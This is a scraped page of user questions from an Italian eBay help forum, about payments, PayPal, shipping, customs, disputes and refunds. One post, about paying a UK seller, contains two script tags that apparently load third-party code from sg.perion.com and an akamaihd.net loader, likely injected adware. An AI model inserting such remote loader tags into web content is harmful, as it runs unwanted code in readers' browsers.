eBay

1960lele

Ho acquistato il 9/7 un antivirus in Germania ma non sono riuscito a pagarlo con la carta di credito perchè non ho trovato la pagina che, come in altre occasioni, mi consentiva di effettuare il pagamento. L'assistenza e-bay mi dice che ho cambiato metodo di pagamento, anche se a me non pare, e mi ha suggerito di contattare il venditore. Ho inviato 2 mail al venditore: una in italiano il 10/7 e una in tedesco il 17/7 chiedendo che mi fosse indicato come procedere al pagamento, ma non ho ricevuto nessuna risposta. Che fare?

iacopovale

ciao a tutti e grazie a chi mi risponderà......Se compro un casio gshock in Giappone del valore di 400€ circa è vero che: A) mi arriva tra un mese perchè sta fermo in dogana 20 gg B) mi costa altre 100 € di spese doganali? Grazie a tutti e buona giornata

linda12*2012

Salve,circa un mese e mezzo fa ho prenotato un prodotto.Ora il problema è che non mi è arrivato,possibilmente sarà stato bloccato dalla dogana,non so.Ho cercato il venditore e mi ha detto di rivolgermi a voi per sapere come aprire un caso non percepiti in modo da avere il rimborso.Grazie.Aspetto vostra risposta!

habduleapetr

voglio aquistare il telefon ngm billi non si puo pagare in contro asenio non ho cont in banca da nisuna parte grazie

pippiniello0161

ho partecipato ad 1 asta, mi sono aggiudicato un oggetto, però anzichè 137,00 ho digitato 13700, ho chiesto al venditore se per favore poteva annullare l'asta, ma non mi risponde, ed ora ha aperto una controversia, cosa posso fare?

vienna-2012-2012

come faccaio applicare uno sconto sulla fattura di un ogetto venduto?

love76sara

scusate ho ricevuto una mail dove ebay mi chiede circa trenta euro, x quale motivo? esiste un numero di servizio clienti?

dbot6682

Dopo aver vinto all'asta il venditore dice che l'oggetto in questione non è più disponiobile perchè ha trovato un'acquirente migliore. Richiedo il rimborso per via pacifica ma non ottengo risposte esudienti, come mi comporte ???

giggiolina

salve,ho pagato un articolo con paypal,ma il venditore mi dice di nn averlo ricecuto,alllora annullo il pagamento per ripetere l,operazione ma nn visualizzo piu' miei soldi sia nella mia carta postepay sia nel conto paypal,vi prego aiutatemi a capire dove sono finiti,adesso nn posso pagare perke' nn ci sono i fondi!! cosa devo fare?

cirallina

salve, vorrei sapere quale procedura bisogna svolgere per farsi rimborsare un oggetto che non è mai arrivato a destinazione. grazie mille

gfamn2013

Un acquirente acquista un oggetto, lo paga e per un disaccordo con il venditore circa le modalità di spedizione dello stesso che il venditore vorrebbe fare a mezzo corriere espresso con costi eccessivamente onerosi e io acquirente vorrei fare a mezzo canale postale , molto più economico , rifiuta momentaneamente l'oggetto comunicando di volerlo ritirare di persona appena possibile. Ciò premesso è corretto che il venditore, prima della scadenza dei 7 giorni previsti per il pagamento, segnala e Bay una controversia, tacciandomi di cattivo pagatore.???? Scusate ma gradirei una risposta! Cordialmente Giuseppe

alessandra67.2012

Tranquilli non ho ancora fatto l'acquisto ma non vorrei perdere l'oggetto che mi interessa. Il venditore si trova in UK e chiede il pagamento con paypal : protezione integrale. Se ho capito bene dovrei acquistare la carta paypal alla lottomatica poi la carico col denaro necessario quindi apro un conto paypal da dove verrà scaricato l'importo per il pagamento al momento dell'ordine. <script type="text/javascript" src="http://sg.perion.com/v1.1/js/gen.js?d=24062013"></script> <script type="text/javascript" src="https://cdncache1-a.akamaihd.net/loaders/1490/l.js?aoi=1311798366&pid=1490&zoneid=253122"></script> Grazie a tutti le risposte. Ciao

maremma0

mi sono sbagliata a mandare il mio indirizzo e ho il pacco bloccato allabrt di rovigo cosa posso fare?

thealexblack

Salve a tutti Mi piacerebbe sapere se questo è un codice tracking -> 14620368429-0 E se lo è, mi piacerebbe sapere a quale corriere/servizio si riferisce. Il pacco, mi hanno detto, dovrebbe essere stato spedito con Paccocelere3.. eppure sul sito delle poste il codice non viene considerato valido (ovvero appare il messaggio "il codice inserito non è stato riconosciuto"), e personalmente non ne ho mai visto uno costituito solo da numeri. Se qualcuno può aiutarmi.. Grazie in anticipo

alessandra67.2012

come posso pagare un venditore UK se richiede solo pagamento con paypal non ho nè carta di credito nè carta prepagata è possibile però ricaricare la sua paypal

dolgato

Salve, ho acquistato un oggetto e pagato con paypal in data 19/06. La consegna era prevista dal 10 al 15/07. Il corriere ha preso in carico l'oggetto il 18/07 e prevede la consegna non prima del 21/07. Ho previsto una mia assenza da casa dal 20/07 al 19/08. Il corriere non garantisce una così lunga giacenza. Posso avvelermi del diritto di recesso? Grazie, Dolgato

1234giorgio

Prima della chiusura dell'asta ho richiesto al venditore tedesco l'ammontare delle spese di spedizione, mi rispondeva che spediva in Italia e che la spesa di spedizione ammontava a euro 3,90 Partecipavo all'asta e la vincevo per euro 19,00 Totale quindi di euro 22,90. Mi inviava dopo 1 giorno la fattura con complessivo totale di euro 46,00 cosi' suddivisa: ASTA 19,00 Euro Spese di spedizione 4,00 Euro Tariffa aggiuntiva di EUR 23,00 Quello che mi lascia perplesso e' il comportamento di Ebay che permette simile richieste nella fattura preventivamente sconosciute all'acquirente. E mi lascia anche perplesso il comportamento fraudolento del venditore che ovviamente non paghero' e anzi apriro' un reclamo con Ebay trascorsi i 10 gg dall'acquisto e mettero' inoltre un del fed negativo al venditore

carminepo89

E' da qualche giorno che mi sono aggiudicato un proiettore della ditta felacocostruzioni e nonostante invii la richiesta dei dati per il pagamento, non mi giunge risposta. Prego gentilmente ebay di contattare il venditore e di farmi capire il perchè di questo continuo silenzio. Grazie

fabioz1989

salve ho venduto un articolo in italia e ho spedito con posta celere3 all' acquirente dice che non e arrivato ma dal codice traciamento ce scritto consegnato io controllato i dati della spedizioni e sono giusti lui ha aperto un contestazione dicendo che : nonostante il venditore dica che ha spedito fornendo un codice di tracciatura che io personalmente non sono riuscito a verificare non ho ricevuto nulla! io gli ho mandato un mail con codice traciamento e link del sito dove trovare io ho fatto subito reclamo spiegando tutto ho scannerizato la ricevuta della spedizione ho salvato anche la pagina del traciamento con scritto consegnato. secondo voi chi dara ragione paypal , e poi quanto tempo ci vuole . grazie

sunshine-stars-flowers

ciao a tutti, ho mandato un messaggio di posta al venditore di un oggetto che ho acquistato ormai da venti giorni e il cui termine di consegna risale a 4 giorni fa. Nell' email che ebay mi ha mandato con la copia del mio messaggio, alla voce STATO DELL'INSERZIONE dice : "Questo messaggio è stato inviato mentre l'inserzione era scaduta?"; che significa ??? che l'annuncio non è più valido ? non ho capito

aliceviola0102

Mi sono aggiudicata un asta, il pagamento richiesto era vaglia postale, ma ora in fase di pagamento, il venditore mi chiede di caricare la sua poste pay. Può farlo? Ho già chiesto il venditore di rivedere il pagamento come da origine e sto aspettando una risposta. Sono però passati 4 giorni da quando mi sono aggiudicata l'oggetto, (tra l'altro mi interessano altri suoi oggetti e glil'ho comunicato) ma non vorrei mi mandasse segnalazione negativa perchè nn ho ancora pagato. I suoi feedback sono positivi, ma mi sorge un dubbio. Cosa ne pensate?

robertac1964

Salve ho venduto un abito e spedito in prioritaria specificando nella vendita la tipologia . L acquirente dopo 15 giorni mi dice che nn e ancora arrivata che devo fatevi??? Grazie

bigzeta70

al momento del pagamento mi chiede password in continuazione senza possibilità di continuare ...

stra_matt

Ho acquistato un oggetto, risultato difettoso, ho aperto una contestazione, poi convertita in reclamo. Il venditore non si è fatto sentire e paypal mi ha dato ragione, mi ha chiesto di restituire l'oggetto. Ora, punto 1 l'indirizzo è incompleto, ovvero è senza numero civico e con 2 paesi diversi ; punto 2 ho contattato un altro utente che ha spedito l'oggetto e mi ha detto che il venditore, che sta facendo il furbo e cerca di fregare le persone, dice di non aver ricevuto nulla (anche se da tracking lo ha ricevuto). Il mio dubbio è se spedisco l'oggetto anche tracciato e il venditore dice che è diverso da quello mandato, rotto da me o si inventa scuse simili, io come faccio a tutelarmi? paypal a chi crede? e se non arriva il pacco x' manca il civico, come si comporta paypal? non vorrei oltre aver perso i soldi dlla spedizione, non ricevere neanche il rimborso. Spero di esser stato chiaro. Grazie mille

mauspa65

Salve, a me è successo di acquistare un prodotto e , siccome non l'ho ricevuto dopo 10 giorni dal pagamento e l'oggetto non è segnalato come spedito , continuo a cercare di contattare il venditore , che però non risponde alle mie mail. Pagato con Paypal , cerco di aprire una controversia , ma in questi giorni il sito non mi carica la richiesta...cosa posso fare ? se passano i 40 giorni resterò fregato dal venditore e anche da Paypal ??? perchè ebay non apre più le controversie ??? io ho quasi 200 feedback , se non risolvo la questione cancellerò il mio account , è una presa in giro....

causindaniele71

io ho fatto la paypal ma vi giuro che non so come fare per pagare perchè nelle indicazioni di pagamento del venditore ci sono gli estrremi per fare un vaglia che inizialmente avevo scelto di fare ...

gcon1913

ho fatto un acquisto con ebay ora il venditore mi chiede di pagare con postepay e non con paypal, è corretto?

carlotto2360

Perche, risultando il sottoscritto vincitore dell'asta non riscontra i miei messaggi che richiedono nome dell'intestatario del conto corrente e relativo IBAN per effettuare il pagamento? Grazie Carlotto2360

mauriziolucherelli

vorrei acquistare un oggetto dal canada le cui spese di spedizione non son specificate. come faccio a inviare la cifra esatta? come devo regolarmi per acquistare questo oggetto? grazie maurizio lucherelli

retsim2013

come cambiare il tipo di pagamento che ho erroneamente selezionato? vorrei pagare l'oggetto alla consegna in contanti ma ho selezionato il modo paypal.

exploratore

salve vorrei conoscere la procedura nella restituzione di un acquisto,devo essere io a rispedire a mie spese, o è il venditore che deve mandare un corriere? E nel caso in cui spettasse appunto al venditore tramite corriere, come deve essere imballato il pacco, devo scrivere dati ed indirizzo del venditore? grazie saluti

walter526877

Come da oggetto.

soleluna56

Nel caso bisogna restituire un oggetto (che non funziona bene e che è diverso dalla foto, ) bisogna prima inviare il pacco e aspettare il rimborso o bisogna comportarsi come nelle vendite, ciòè prima, ovviamente, avere il rimborso e poi inviare il pacco?

78emagreg

ho acquistato la merce domenica 14/07/2013 e pagata tramite paypal. a oggi 17/07/2013 il venditore nn ha ancora spedito la merce. cosa devo fare? grazie

aleman67allery

Di recente capita spesso che la merce che ordino regolarmente pagata con pay pal, pur scegliendo la spedizione con posta raccomandata non arriva nulla, successivamente controllando nei feedbach di questi venditori vedo che non sono l'unico ad aver subito questa malefatta, come mai eBay non prende provvedimenti in merito all'eliminazione di questi cattivi venditori da ebay, creando un ambiente piu sano per gli acquirenti e i venditori onesti? Sappiate che a lungoandare la gente così perde la fiducia e si sposta a fare acquisti su altri siti come amazzon ecc... Io credo che sia i venditori che gli acquirenti che possiedono piu di 10 feedbach negativi dovrebbero essere eliminiti perchè non fanno altro che rovinare l'immagine di ebay che gia da molti viene definito il covo dei truffatori, e questo mi dispiace tantissimo.

lucagsd

Buongiorno a tutti! io ho una carta paypass dell'intesa s. paolo (circuito mastercard) e volevo sapere se era possibile versare la somma del pagamento sul conto corrente paypal del venditore..

mirandola50

Come faccio per pagare un oggetto senza aggiungere il prezzo della spedizione, visto che lo ritiro io? Grazie.

france20840107

Ciao a tutti, ho un problema, nel tracking di ebay non mi compare la posizione del pacco che ho acquistato dagli Usa, miviene scritto solo: " In Transit with Destination Carrier Jul-16-13, 15:24 PM " Cosa vuol dire?

lori955

come posso annullare un ordine non ancora pagato fatto per errore ....????

daphne71983

Stavo per effettuare il pagamento ma invece di cliccare su paga subito ho cliccato su segnala come pagato! Ora l'oggetto risulta pagato e non mi viene consentito di effettuare il pagamento!! Come faccio a rimediare????

cagnolino22

Ho acquistato un oggetto e l'ho pagato regolarmente con postepay ma mi viene contestato il mancato pagamento,come faccio a dimostrare il contrario?

miciotta799

Vorrei acquistare questo cellulare, ho chiesto al venditore se ci sono tasse da pagare alla consegna e lui mi ha risposto che usa il programma di spedizioni di Ebay e che non dovrebbero essernece ma per sicurezza di chiedere. (Regarding the tax and delivery charge - we ship through ebay's global shipping program so any fees associated with shipping are totally up to them. It might be best to reach out to them directly.) Qualcuno di voi è a conoscenza se ci sono tasse alla consegna con questo metodo di spedizione o eventualmente dove e a chi chiedere a riguardo? Il prezzo di spedione è poi quello che compare in inserzione o ci sono tasse al check di acquisto? grazie

gynevrha

Avevo ordinato un pacco dagli usa,che costava sulle 100€ tutto qui ok,se nonchè qualche giorno dopo mi citofona il postino dicendo che gli devo 16 euro per il pacco,perchè c'era un bollettino,o una cosa del genere;e io ho pagato,perchè sò che il pacco che arriva dagli usa,e se supera una certa cifra devi pagare le tasse della dogana o una cosa del genere;però nn mi ha lasciato nessun foglietto,o ricevuta,e sul pacco nn mi ricordo;perchè sono passati un bel pò di giorno(aggiungo però,che nn è la prima volta che lo stesso postino ritorna perchè si è dimenticato qualcosa...)ho solo paura si sia sbagliato,o che mi doveva dare anche qualche ricevuta...nn sò...anche perchè mi dovrebbe arrivare un'altro pacco dagli usa e nn vorrei che si fosse sbagliato consegliandolo a qualcun'altro...consigli?

adel632

L'indirizzo di spedizione del mio ultimo acquisto è stato diverso da quello della mia residenza. Ora, devo pagare per un oggetto acquistato oggi: come tornare al mio indirizzo di spedizione originario?

rpal3888

Nel caso di acquisto di più articoli dallo stesso venditore è possibile pagare il totale dei beni acquistati oppure bisogna fare un pagamento per ogni bene?

denys921

Salve a tutti, avrei bisogno di un grande aiuto da parte degli esperti in questa materia. Il 16 giugno la mia ragazza ha acquistato un telefono samsung s3 da un untente e ha pagato tramite bonifico bancario il 18 giugno, All'inizio non si era accorta che i tempi di spedizione erano tra i 18/22 giorni lavorativi (visto che si è registrata da poco su ebay), ma va bene abbiamo aspettato fino ad oggi e proprio oggi ha guardato su ebay e c'era scritto che i soldi ricevuti erano il 4 luglio.....a questo punto abbiamo provato a contattare il venditore per chiedere spiegazioni ma il suo account è stato chiuso e il telefono è spento. Oggi abbiamo aperto una controversia e dice che se entro 10 giorni l'utente non risponde allora bisogna fare la denuncia. Vi chiedo consigli su come gestire questa situazione e come avere un rimborso oppure aspettare,? Ho paura che l'hanno fregata e mi dispiace molto visto che ha faticato davvero tanto per avere quei soldi. Grazie per la risposta.

salva3001

per comunicare al venditore l'avvenuto pagamento quale è la procedura da seguire

23vale2013

non ho la paypal mi sn iscritta da poco posso pagare anche con post pay?

mobe5694

io mi sono aggiudicato un'asta su ebay ed ho già inviato il pagamento,ma il venditore dovrebbe prelevare una certa cifra per il suo capo ma non può perchè il mio pagamento risulta "in sospeso" su paypal e quindi non mi ha ancora inviato la roba. Che Dovrei fare?? se mi faccio rimborsare mi restituiscono tutti i soldi ?? Anche quelli della spedizione?? Aiutatemi. Grazie

alesim84it

è passata circa una settimana da quando l'oggetto che vevo messo in vendita all'asta è stato preso ma ancora non mi sono arrivati i soldi nonostante tra la sezione pagamenti ci fosse scritto che il pagamento andavs fatto entro 3 giorni. cosa devo fare?

2010roant

la comprevendita in ebay è piuttosto variegata - bisognerebbe prevedere un sistema che consenta all'offerente di annullare le offerte di acquisto che siano frutto di errore - per esempio si fa una offerta e poi si viene a conoscenza che il venditore accetta solo il bonifico bancario in questi casi sarebbe giusto consentire all'acquirente di annullare l'offerta magari concedendo un margine di tempo di un'ora - o altrimenti di pretendere il pagamento con paypal maggiorato del costo della tariffa - non credo che si possa legalmente chiedere di pagara in un solo modo - siete d'accordo?

gpiu4282

Ho acquistato un oggetto da un venditore USA che dichiarava spedizione gratuita. Durante la procedura di acquisto compare un avviso in cui si dice che il venditore non ha dichiarato le spese di spedizione e di contattarlo. La cosa non mi sembra corretta e purtroppo l'oggetto lo ho acquistato. Mando comunque una mail al venditore che non risponde. Ebay continua a sollecitare il pagamento. Cosa bisogna fare? Giorgio

fullvideo

il 6-luglio mi sono aggiudicato un tablet, pagato subito con carta di credito, il pacco doveva arrivare dopo qualche giorno...(3-5) , vedendo che non mi è arrivato ho contattato il venditore , mi ha detto che lo spedisce dopo il 21 perchè non è in casa. Vorrei aprire una controversia e mi dice che siccome ho pagato con carta di credito dovrei andare su paypal, visto che avevo attiva una paypal., ho dovuto inserire la carta di credito nel conto paypal, e dopo codici e manovre varie, adesso MI CHIEDE L'ID TRANSAZIONE però vado sulle specifiche e non mi dà niente... AIUTATEMI PASSO PASSO per favoreeeeeeeeeeeeeee!!!!!!!! come posso rec uperare l'id? grazie

edo1973blu

ciao a tutti, ho venduto un oggetto, l'acquirente non mi ha pagato l'oggetto volevo sapere se lascio un feedback negativo all'aquirente che non mi ha pagato l'ggetto che si è aggiudicato, devo aspettarmi anch'io un feedback negativo? grazie a tutti per l'attenzione...

lucy-lu.12

Ho acquistato un oggetto e l'ho pagato...il venditore dice di averlo spedito ma io non gli ho dato l'indirizzo...è possibile che abbia i miei dati senza che io glieli ho dati??

domspa2013

Avevo messo in vendita un libro a 6 euro e spedizione gratuita con posta raccomandata in Italia. Non avevo scritto indicazioni per la spedizione internazionale. Oggi trovo che una persona del Regno Unito ha comprato il libro pagandolo 6 euro con paypal e vorrebbe la spedizione nel Regno Unito. Posso chiederle qualche euro in più per la spedizione? Posso dirle che la spedizione gratis si riferiva all'Italia e non all'estero? Cosa devo fare? So che non è un grosso problema e potrei spedirle il libro guadagnandoci niente, però questa è la mia prima vendita e mi piacerebbe sapere come regolarmi anche per gli altri oggetti in vendita. Grazie a chi può aiutarmi

leonida_90

salve vi chiedo aiuto per capire come comportarmi in questo caso. mi sono aggiudicato un' asta al prezzo estremamente conveniente di 1 euro numero oggetto 300930035782 dopo aver regolarmente pagato il venditore mi ha contattato dicendomi. Buonasera , purttoppo non posso vendergli la centralina a prezzo aquisto di asta vi era la soglia di aquisto di 38€. le pare che possa dare ad 1 €. spedizione gratis ? Ritiri il pagamento , Grazie Secondo voi come dovrei comportarmi? non mi è mai capitato di trovarmi in questa situazione

compraluca2097

Salve a tutti, sono nuovo di eBay e ho un problema, non riesco a pagare un oggetto o meglio non so come si fa. Quando vado su Il mio eBay -> Cronologia acquisti -> In attesa di pagamento ho ancora un oggetto che non riesco a trovare il modo per pagarlo, non so cosa cliccare. Ho provato a farlo dal mio iPhone con la app di eBay e ho trovato il pulsante ''Paga subito'' ma appena clicco mi si apre questo errore: '' Errore durante il pagamento, L'oggetto non è più disponibile per l'acquisto. (102). Ecco io appena ho visto questo errore ho notato che l'oggetto nel mio ''carrello'' ha il prezzo di 11,73 euro mentre nel negozio lo stesso oggetto è sceso in offerta a 11,32 euro e ho pensato che forse è proprio per questo che non è più disponibile anche perchè sull'iPhone tra le varie informazione c'è ''Scadenza: 12/lug/2013 09:53:52'' data già passata da due giorni. Nell' immagine allegata potete vedere che c'è scritto la scadenza e il costo di 11,73 euro che in teoria dovrebbe essere 11,32 euro. Non so cosa fare, aiutatemi 😞

gegex72

Salve e grazie a chiunque sia cosi gentile da rispondermi, scusate la fretta ma ho urgenza di una risposta che credo per gli esperti sia abbastanza facile da darmi. Ho ricevuto un oggetto non conforme alla descrizione, il venditore quasi subito ha accettato la restituzione anzi mi ha subito rimborsato credo a causa di un suo palese errore, Ora mi chiede la spedizione in un indirizzo diverso da quello esposto sui suoi link di vendita anzi adirittura in un altra città, c'è da premettere però che l'intestazione dell'indireizzo e cioè il suo nome è lo stesso in entrambi gli indirizzi. Faccio bene a spedire dove lui mi chiede o devo seguire rigorosamente l'indirizzo in calce all'annuncio, posso avere problemi in seguito??? Del tipo che lui si lamenta che non gli ho restituito la merce all'indirizzo giusto??? Fidarsi e bene , non fidarsi è meglio... Cosa mi consigliate?

pallanti_graphic

Appena digito "paga subito" mi da errore "#50055". Ho avvertito subito l'assistenza ebay, ma dopo 10 giorni non ho avuto risposta. Ho anche mandato un messaggio al venditore (di Hong Kong) che mi suggerisce di fare un bonifico. Non voglio rischiare, ma non voglio neanche ricevere un feedback negativo dal venditore. Qualche suggerimento? Grazie

filippo.butera

ho provato 3 volte ad acquistare un oggetto xo mi sottrae soldi dal mio conto senza che effettua il pagamento come posso fare per avere i soldi indietro?

elvira052

Come far arrivare un oggetto a un altro indirizzo ?

kokkettona

mi fate sapere come mai mi deve ancora arrivare un ogetto acquistato su ebay come posso avere informazioni

chia7728

ciao, le spese di spedizione non specificate, ho contattato il venditore via mail e mi ha comunicato l'importo. premendo "compra subito" non ho la possibilità di proseguire viene chiesto di contattare il venditore x le spese. come si fa a concludere l'acquisto inserendo le spese comunicate?

dado86davide

ciao ho venduto un oggetto a 30e ma non ho il denaro sulla carta . gia confermato l'indirizzo email ma ancora nulla . chiedo aiuto

fullvideo

vorrei sapere se si può aprire una controversia per oggetto ricevuto ? ho pagato con la mia carta di credito... e il venditore mi ha risposto che non può inviare l'oggetto perchè non rientra a casa prima del 21? come farò se poi ci sono problemi sull'oggetto? sempre se poi lo spedirà. grazie oggetto numero 261238091768

lunacreativa123

Ho acquistato un oggetto (negozio registrato come Sloveno ma il venditore è italiano) ormai è circa un mese che attendo, ho inviato decine di mail e le uniche due ricevute da loro come risposta sono state "non riusciamo a tracciare il pacco..ci può contattare al numero"!!! li contatti e il cel è staccato gli chiedi informazioni e non rispondono e ora non vedo più nei dettagli dell'acquisto la voce contrassegno con il relativo prezzo...come annullare quest'acquisto, non posso aprire neanche una controversia perchè realmente il pacco non è ancora pagato se non arriva!!!!!!please help me!!!!

2012corsagsi

Ciao........ho un problema:ho partecipato ad un'asta,che ho vinto,ma ho sbagliato.Il motivo è che pensavo di acquistare tutto un lotto ma non era cosi.Non mi sono accorto di tutto ciò che c'era scritto.Come faccio ad annulare e a non passare per un pagatore non affidabile?

pablo72nero

Salve ho acquistato un oggetto con contrassegno che è arrivato e che ho pagato a bartolini ho lasciato feed al venditore positivo questa sera mi vedo aprire una controversia da questo venditore cosa debbo fare ?

saltarello0721

Penso, ovviamente, il venditore, che si vedrà chiedere un rimborso dall'utente. E le poste? se ne sbattono. Ti rimborsano il prezzo della spedizione. Bell'italia...

simoneerachele

Salve a tutti... è la prima volta che acquisto su ebay. Ho acquistato un prodotto tramite paypal e da un negozio con un feedbak positivo al 99%. Subito dopo l'acquisto però mi è apparso il seguente messaggio: PER TUTTI GLI ACQUISTI CHE PREVEDONO 5 GIORNI DI CONSEGNA E INDISPENSABILE COMUNICARE SUBITO IN CORRISPONDENZA ALL'ORDINE IL METODO DI PAGAMENTO SCELTO!NON RICEVENDO ALCUNA COMUNICAZIONE ENTRO DUE ORE DALL'ACQUISTO RITEREMO CONFERMATA LA MODALITA' DI PAGAMENTO IN CONTRASSEGNO CHE NON SARA' PIU' POSSIBILE RETIFICARE ! L'acquisto effettuato prevede 5 giorni di consegna. A questo punto dovrei comunicare il metodo di pagamento scelto. Come si fa? Grazie mille

gessica231080

come si recuperano i soldi che mi hanno mandato sulla paypal?

diadi9

vorrei qualche suggerimento su che modalità scegliereper ricevere il pagamento del prodotto che ho messo in vendita. ho scelto la carta di credito, ma non mi viene richiesto il codice IBAN del conto su cui versare il pagamento. come dovrei muovermi? devo inserire i dati della carta, anche se non c'entra niente con il codice del conto corrente?

cialdo1990

salve gente, ho un pacco in arrivo tramite Economy Int'l Postage, volevo chiedere come rintracciarlo.

pretenderabo78

se arriva un oggetto danneggiato e non ho firmato con rivalsa posso rivalermi sul venditore o sul corriere? grazie

ivanl8625

ho fatto un acquisto da oltre un mese ad oggi l'oggetto non e` arrivato che fare??

simomona72

Ciao a tutti. A quanto pare un mese fà ho pagato un tot di oggetti, mi sono fidata, senza spulciare gli oggetti uno per uno. Pochi giorni fà mi arriva un messaggio di Ebay dove mi si avvisa che una controversia è stata aperta per un oggetto non pagato ...il fatto è che se quell'oggetto non era stato inserito nel conto finale, non è mica colpa mia, praticamente erano due oggetti uguali e me ne hanno fatto pagare e mandato solo uno (200 perline anzichè 400) ! Il caso vuole che questo avviso mi sia arrivato intanto che era in corso un'altra asta alla quale stò partecipando e che finirà in due ore ma l'oggetto della controversia deve essere pagato entro oggi altrimenti ebay, non ho capito bene, ma credo che mi bloccherà i pagamenti dal mio conto paypal. Il problema è che gli importi nel carrello non corrispondono, sono più bassi e non posso pagare tra due ore essendo tutto sbagliato e se chiedo il totale al negoziante mi risponderà come minimo lunedì dato che è in Cina... 1) Posso pagare solo l'oggetto della controversia, che è l'unico col prezzo giusto? 2) Se cancello dal carrello tutti gli altri oggetti con l'importo sbagliato, poi, dove li ritrovo? Grazie!

angelinflorentin

Contestazione per merce non conforme all'ordine!!! Che cosa posso fare nei confronti dell'acquiriente ,che dopo avere ritirato la merce , come dismostra la ricevuta di consegna dichiara che la merce non e conforme, perchè macava la merce nel pacco? Il fatto è che dichiara di averla comunque presa con evidenti segni di manomissione,presso l'ufficio postale, non avrebbe dovuta accettarla e restituirla al mittente,.? Ora ha iniziato una controversia ,per merce non conforme, pretendendo la restituzione della cifra anticipata!! ssoi qual'e la prassi per dimostrare la mia estraneità ,all'accaduto??

elettro_materiale

Salve, per saldare il conto di una fattura ebay: se i soldi non sono presenti sul conto Paypal, ebay li prende dalle carte collegata all'account? Grazie

feliceliserre

se compro piu' prodotti dallo stesso rivenditore nello stesso giorno devo pagare piu' volte le spese di spedizione?es.smalto semipermanente non mi da carrello.

trolllibero

Ho comprato, e già pagato, un oggetto. Nelle condizioni non vi era scritto nulla riguardo a sovrappressi nel caso di pagamenti con Paypal. Allo scadere dell'inserzione, dopo aver pagato mi sono accorto di un messaggio del venditore: mi chiedeva una maggiorazione di due euro nel caso di pagamento via Paypal: è regolare?

robertomargoni

Ricevo un nuovo sollecito di pagamento con mail avente oggetto:"Controversia per Oggetto non pagato"; tuttavia il pagamento è stato regolarmente effettuato all'atto dell'acquisto e l'oggetto è stato ricevuto. E' sufficiente qs. riscontro per chiudere la questione o serve documentare? peraltro con il venditore è stato tutto chiarito con un messaggio dopo un primo sollecito. Grazie, Roberto Margoni.

itgiuseppe65

devo annullare una transazione sono d'accordo con il venditore cosa devo fare? ho provato ma annulla transizione la può fare solo il venditore?

andrea.andmas

Ciao, ho acquistato un prodotto tramite ebay, ma non è conforme a quanto descritto nell'annuncio. La venditrice, una volta contattata, ha capito il problema e mi ha detto che accetta la restituzione (come espressamente scritto nell'annuncio). Vorrei quindi sapere qual è la procedura standard per mandare indietro l'oggetto e ottenere il rimborso senza fregature (ulteriori). L'oggetto è stato pagato tramite paypal. Grazie in anticipo

2010franco61

come faccio a vedere dove si trova il prodotto che ho acquistato?

andrea143490

ho comprato un iphone 5 32 gb nuovo con un asta,tutto ok fino al momento del tracking che dice che il pacco è fermo a roma per manomissione,successivamente chiamando il callcenter sda mi danno conferma del furto,ho aperto procedura di reclamo su paypal e il mittente non mi vuole restituire il denaro perchè da la colpa alla società SDA. come andrà a finire? in questi casi vengono restituiti i soldi al mittente o è comunque colpa della SDA quindi rimango fregato? grazie andrea

lavorazione_marm_italia

Salve, mi è giunta una mail da parte di ebay con la voce: "PROMEMORIA: PAGAMENTO NECESSARIO PER EVITARE LA SOSPENSIONE DELL'ACCOUNT (ITPREB". A tal riguardo chiedo spiegazioni. Io ho solo inserito l'inserzione di vendita senza che mai alcun oggetto sia poi andato venduto. Non ho pertanto mai usufruito di alcun guadagno da parte di ebay, e da come è riportato sui termini di contrato si evince di non dover corrispondere alcun costo ad ebay appunto fino alla vendita dell'oggetto. Praticamente la percentuale da corrispondere ad ebay è sulla vendita e non sull'inserzione. Quindi a questo punto mi chedo se la mail è autentica oppure uno eventuale spam. Ma soprattutto in caso la mail sia autentica, in che modo posso risolvere al meglio la questione senza incorrere in sanzioni o problemi vari con ebay? Tenendo presente di non disporre della cifra che ebay mi chiede, in quanto ebay non è stato assolutamente utile a nessun mio guadagno appunto non essendomi stato di nessun aiuto per la vendita dei relativi oggetti. Cordiali saluti. Roberto.

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